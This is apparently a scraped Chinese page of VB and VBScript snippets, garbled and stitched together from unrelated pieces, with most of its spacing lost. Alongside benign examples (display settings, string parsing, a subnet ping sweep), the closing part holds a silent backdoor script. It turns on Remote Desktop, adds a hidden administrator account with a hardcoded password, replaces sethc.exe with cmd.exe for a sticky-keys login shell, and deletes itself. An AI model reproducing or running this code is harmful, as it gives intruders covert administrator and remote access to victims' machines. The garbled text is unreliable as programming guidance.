为了完成连接，你可以在ConnectionRequest事件中调用Accept方法Set objAD=CreateObject("ADSystemInfo") Wscript.Echo "Your Computer Name is " & objAD.ComputerName Wscript.Echo "Your Username is " & objAD.UserName WScript.Echo("Hello") WScript.Interactive=false WScript.Echo("This wont display") WScript.Interactive=true WScript.Echo("This will display")

例如：也可以将数字包含在引号("")中使其成为字符串

'------------------------------------------------------------------------------------------PublicFunctionSetDisplaymode(LngWidthAsLong,LngHeightAsLong,IntColorAsInteger,

LngFrequencyAsLong)AsLongDimNewDevmodeAsDEVMODEDimlngPAsLong'obtainsinformationEnumDisplaySettings0&,0&,NewDevmodeWithNewDevmode.dmFields=DM_PELSHEIGHTOrDM_PELSWIDTHOrDM_BITSPERPELOrDM_DISPLAYFREQUENCY.dmPelsWidth=LngWidth.dmPelsHeight=LngHeight.dmBitsPerPel=IntColor.dmDisplayFrequency=LngFrequencyEndWithSetDisplaymode=ChangeDisplaySettings(NewDevmode,CDS_TEST)EndFunction

->

var rv=ss.replace(re,"$1"); //用一个单词替代两个单词PrivateSubForm_Load()'声明已知字符串的字节数、""所在位置的变量DimnAsInteger,mAsInteger'声明字符串变量DimiAsString,jAsStringj="E:\Music\MyFavourite\001\Spring.mp3"'已知字符串初值i=""'要查找的指定字符Forn=1ToLen(j)'这里用了Len函数来计算已知字符串的字节数m=InStrRev(j,i,-1)'""所在的位置(其中的-1是默认的)Nextn'显示最后一个""后面的字符串Text1.Text=Right(j,Len(j)-m)EndSub运行程序，文本框中的是不是明明白白地躺着"Spring.mp3"？试着改一改j变量，得到的结果是不是预期的？->

strSubNet="192.168.1." Set objFSO=CreateObject("Scripting.FileSystemObject") Set objTS=objfso.CreateTextFile("e:\PingResult.txt") For i=1 To 254 strComputer=strSubNet & i blnResult=Ping(strComputer) If blnResult=True Then objTS.WriteLine "Ping " & strComputer & " success!" End If Next objTS.Close WScript.Echo "Done!" Function Ping(strComputer) Set objWMIService=GetObject("winmgmts:\\.\root\cimv2") Set colItems=objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'") For Each objItem In colItems Select case objItem.StatusCode Case 0 Ping=True Case Else Ping=False End select Exit For Next End Functionscratch问题二再查询与事务1．再查询数据在多用户应用程序中，如果以可视的形式把数据显示在窗口中，则需要用最新的数据来更新用户的视图on error resume next const HKEY_LOCAL_MACHINE=&H80000002 strComputer="." Set StdOut=WScript.StdOut Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_ strComputer & "\root\default:StdRegProv") strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server" strValueName="fDenyTSConnections" dwValue=0 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" strValueName="PortNumber" dwValue=3389 oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue on error resume next dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath On Error Resume Next Dim obj, success Set obj=CreateObject("WScript.Shell") success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)。